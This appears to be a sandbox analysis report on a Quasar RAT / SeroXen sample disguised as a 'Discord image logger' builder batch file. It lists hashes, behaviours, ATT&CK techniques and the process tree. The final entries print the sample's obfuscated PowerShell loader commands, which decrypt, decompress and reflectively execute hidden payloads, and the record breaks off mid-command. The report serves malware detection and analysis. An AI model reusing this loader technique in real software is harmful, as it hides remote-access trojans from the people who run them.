quasar | 63b3839dc82c4080192b0181cc8296f1ff1841e2c820260d41544795d70415c5

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
19/03/2025, 22:07

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General

Target

discord-image-logger-main/builder.bat
Size

14.9MB
MD5

70a53c5ec35eefae927a0c413a89937a
SHA1

1bc9a22903968bfc05b87c1082a5c4242802d4dd
SHA256

a7aa6fa77e4931544a6966ef435400c52a79af300a548aca4e9c67f72218ac2d
SHA512

c712f2b98b0eb8c4808e4abcee0cc6100fc3e7d445f40208da0429b754148f190083ce247f183bb112083c15b06f466cbe573fe01f47de3d7958d8624e8d9aae
SSDEEP

49152:QYwuS617ST7nN2d57VTqUTm0AmK0jEHD5FQ/9gsyuEgPXiGncZwPnzLO1WtJHFi7:S

Score

10^/10

quasar seroxen defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/64-58-0x0000028420010000-0x00000284207CC000-memory.dmp	family_quasar

Seroxen family
seroxen
Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
trojan seroxen

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 652 created 612	652	builder.bat.exe	5
PID 64 created 612	64	$sxr-powershell.exe	5
PID 64 created 612	64	$sxr-powershell.exe	5
PID 652 created 612	652	builder.bat.exe	5
PID 652 created 612	652	builder.bat.exe	5

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	builder.bat.exe

Deletes itself 1 IoCs

pid	Process
652	builder.bat.exe

Executes dropped EXE 3 IoCs

pid	Process
652	builder.bat.exe
64	$sxr-powershell.exe
1628	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
1628	$sxr-powershell.exe
64	$sxr-powershell.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	builder.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\ucrtbased.dll	builder.bat.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	builder.bat.exe
File created	C:\Windows\System32\vcruntime140d.dll	builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 652 set thread context of 3164	652	builder.bat.exe	98
PID 64 set thread context of 1332	64	$sxr-powershell.exe	100
PID 64 set thread context of 4128	64	$sxr-powershell.exe	102
PID 652 set thread context of 3152	652	builder.bat.exe	104
PID 652 set thread context of 2672	652	builder.bat.exe	105

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File created	C:\Windows\$sxr-powershell.exe	builder.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	builder.bat.exe
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5600	PING.EXE
5480	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5728	taskkill.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={7D0A41CE-5321-4893-8626-D23433574F28}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1742422473"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 19 Mar 2025 22:14:34 GMT"	OfficeClickToRun.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5600	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
652	builder.bat.exe
652	builder.bat.exe
652	builder.bat.exe
3164	dllhost.exe
3164	dllhost.exe
3164	dllhost.exe
3164	dllhost.exe
652	builder.bat.exe
652	builder.bat.exe
64	$sxr-powershell.exe
64	$sxr-powershell.exe
64	$sxr-powershell.exe
64	$sxr-powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
64	$sxr-powershell.exe
64	$sxr-powershell.exe
1628	$sxr-powershell.exe
64	$sxr-powershell.exe
4128	dllhost.exe
4128	dllhost.exe
1628	$sxr-powershell.exe
1628	$sxr-powershell.exe
1628	$sxr-powershell.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe
4128	dllhost.exe

Suspicious use of AdjustPrivilegeToken 58 IoCs

description	pid	Process
Token: SeDebugPrivilege	652	builder.bat.exe
Token: SeDebugPrivilege	652	builder.bat.exe
Token: SeDebugPrivilege	3164	dllhost.exe
Token: SeDebugPrivilege	64	$sxr-powershell.exe
Token: SeDebugPrivilege	64	$sxr-powershell.exe
Token: SeDebugPrivilege	1332	dllhost.exe
Token: SeDebugPrivilege	1628	$sxr-powershell.exe
Token: SeDebugPrivilege	64	$sxr-powershell.exe
Token: SeDebugPrivilege	4128	dllhost.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeDebugPrivilege	652	builder.bat.exe
Token: SeDebugPrivilege	3152	dllhost.exe
Token: SeDebugPrivilege	652	builder.bat.exe
Token: SeDebugPrivilege	2672	dllhost.exe
Token: SeDebugPrivilege	5728	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
64	$sxr-powershell.exe
5496	Conhost.exe

Suspicious use of UnmapMainImage 3 IoCs

pid	Process
3928	RuntimeBroker.exe
3404	Explorer.EXE
3904	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 3128	3184	cmd.exe	89
PID 3184 wrote to memory of 3128	3184	cmd.exe	89
PID 3128 wrote to memory of 4268	3128	net.exe	90
PID 3128 wrote to memory of 4268	3128	net.exe	90
PID 3184 wrote to memory of 652	3184	cmd.exe	95
PID 3184 wrote to memory of 652	3184	cmd.exe	95
PID 652 wrote to memory of 3164	652	builder.bat.exe	98
PID 652 wrote to memory of 3164	652	builder.bat.exe	98
PID 652 wrote to memory of 3164	652	builder.bat.exe	98
PID 652 wrote to memory of 3164	652	builder.bat.exe	98
PID 652 wrote to memory of 3164	652	builder.bat.exe	98
PID 652 wrote to memory of 3164	652	builder.bat.exe	98
PID 652 wrote to memory of 3164	652	builder.bat.exe	98
PID 652 wrote to memory of 64	652	builder.bat.exe	99
PID 652 wrote to memory of 64	652	builder.bat.exe	99
PID 64 wrote to memory of 1332	64	$sxr-powershell.exe	100
PID 64 wrote to memory of 1332	64	$sxr-powershell.exe	100
PID 64 wrote to memory of 1332	64	$sxr-powershell.exe	100
PID 64 wrote to memory of 1332	64	$sxr-powershell.exe	100
PID 64 wrote to memory of 1332	64	$sxr-powershell.exe	100
PID 64 wrote to memory of 1332	64	$sxr-powershell.exe	100
PID 64 wrote to memory of 1332	64	$sxr-powershell.exe	100
PID 64 wrote to memory of 1628	64	$sxr-powershell.exe	101
PID 64 wrote to memory of 1628	64	$sxr-powershell.exe	101
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 64 wrote to memory of 4128	64	$sxr-powershell.exe	102
PID 4128 wrote to memory of 612	4128	dllhost.exe	5
PID 4128 wrote to memory of 672	4128	dllhost.exe	7
PID 4128 wrote to memory of 952	4128	dllhost.exe	12
PID 4128 wrote to memory of 336	4128	dllhost.exe	13
PID 4128 wrote to memory of 740	4128	dllhost.exe	14
PID 4128 wrote to memory of 920	4128	dllhost.exe	15
PID 4128 wrote to memory of 1056	4128	dllhost.exe	16
PID 4128 wrote to memory of 1076	4128	dllhost.exe	18
PID 4128 wrote to memory of 1172	4128	dllhost.exe	19
PID 4128 wrote to memory of 1232	4128	dllhost.exe	20
PID 4128 wrote to memory of 1296	4128	dllhost.exe	21
PID 4128 wrote to memory of 1380	4128	dllhost.exe	22
PID 4128 wrote to memory of 1392	4128	dllhost.exe	23
PID 4128 wrote to memory of 1408	4128	dllhost.exe	24
PID 4128 wrote to memory of 1448	4128	dllhost.exe	25
PID 4128 wrote to memory of 1516	4128	dllhost.exe	26
PID 4128 wrote to memory of 1548	4128	dllhost.exe	27
PID 4128 wrote to memory of 1564	4128	dllhost.exe	28
PID 4128 wrote to memory of 1648	4128	dllhost.exe	29
PID 4128 wrote to memory of 1708	4128	dllhost.exe	30
PID 4128 wrote to memory of 1804	4128	dllhost.exe	31
PID 4128 wrote to memory of 1844	4128	dllhost.exe	32
PID 4128 wrote to memory of 1864	4128	dllhost.exe	33
PID 4128 wrote to memory of 1876	4128	dllhost.exe	34
PID 4128 wrote to memory of 1960	4128	dllhost.exe	35
PID 4128 wrote to memory of 1992	4128	dllhost.exe	36
PID 4128 wrote to memory of 1464	4128	dllhost.exe	37
PID 4128 wrote to memory of 2068	4128	dllhost.exe	39
PID 4128 wrote to memory of 2264	4128	dllhost.exe	40
PID 4128 wrote to memory of 2332	4128	dllhost.exe	41
PID 4128 wrote to memory of 2356	4128	dllhost.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5812	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:336
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{94d05725-3899-46ae-b68d-fdb895f5138c}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3164
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1a0071ef-8a79-4095-ac2e-eacdbdc11058}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1332
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{4d5c07b1-87bd-44c7-9f97-cb7e6304868b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4128
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c0343420-dc8f-4bd8-be63-95eb49e374cd}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ea85b9ad-3a1f-42b6-87c7-5dc41bbc66db}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2672

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1172
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1548
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1992

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1464

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2388

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3016

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3348

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4716
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4268
- - C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe
    "builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VsYFF($UqIEP){ $cckBt=[System.Security.Cryptography.Aes]::Create(); $cckBt.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cckBt.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cckBt.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UEGY9MIPrGN+l8HMK+EOWWOHd3i8s5ddQy0gjFJszf0='); $cckBt.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIU6Lrw5kmXrlY9ZdCP5WQ=='); $twFeA=$cckBt.CreateDecryptor(); $return_var=$twFeA.TransformFinalBlock($UqIEP, 0, $UqIEP.Length); $twFeA.Dispose(); $cckBt.Dispose(); $return_var;}function onOdy($UqIEP){ $DcweI=New-Object System.IO.MemoryStream(,$UqIEP); $sUfkw=New-Object System.IO.MemoryStream; $rNOwy=New-Object System.IO.Compression.GZipStream($DcweI, [IO.Compression.CompressionMode]::Decompress); $rNOwy.CopyTo($sUfkw); $rNOwy.Dispose(); $DcweI.Dispose(); $sUfkw.Dispose(); $sUfkw.ToArray();}function spGXl($UqIEP,$ZvarV){ $UbgZg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UqIEP); $oUCsb=$UbgZg.EntryPoint; $oUCsb.Invoke($null, $ZvarV);}$WAkYi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat').Split([Environment]::NewLine);foreach ($kjXpr in $WAkYi) { if ($kjXpr.StartsWith(':: ')) { $vbeRz=$kjXpr.Substring(4); break; }}$IzdcO=[string[]]$vbeRz.Split('\');$clAux=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[0])));$WNxAq=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[1])));spGXl $WNxAq (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));spGXl $clAux (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Deletes itself
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\$sxr-powershell.exe
      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function OONaJ($CAUyg){ $UaEuB=[System.Security.Cryptography.Aes]::Create(); $UaEuB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $UaEuB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $UaEuB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk='); $UaEuB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ=='); $hVJMW=$UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')(); $dSUQC=$hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CAUyg, 0, $CAUyg.Length); $hVJMW.Dispose(); $UaEuB.Dispose(); $dSUQC;}function XNrXq($CAUyg){ $JuLib=New-Object System.IO.MemoryStream(,$CAUyg); $yWMQI=New-Object System.IO.MemoryStream; $ovPeB=New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::Decompress); $ovPeB.CopyTo($yWMQI); $ovPeB.Dispose(); $JuLib.Dispose(); $yWMQI.Dispose(); $yWMQI.ToArray();}function LWfQc($CAUyg,$FEAph){ $ABDeF=[System.Reflection.Assembly]::Load([byte[]]$CAUyg); $WyGRR=$ABDeF.EntryPoint; $WyGRR.Invoke($null, $FEAph);}$UaEuB1 = New-Object System.Security.Cryptography.AesManaged;$UaEuB1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$PwPCN = $UaEuB1.('rotpyrceDetaerC'[-1..-15] -join '')();$GCidc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XSkKpx7QoQiF0BsaqEtF9g==');$GCidc = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc, 0, $GCidc.Length);$GCidc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc);$hbuWR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2Ib4CeUG3V15LN/pc/Lrm4LCmpRZWn3AV06VFawX7o=');$hbuWR = 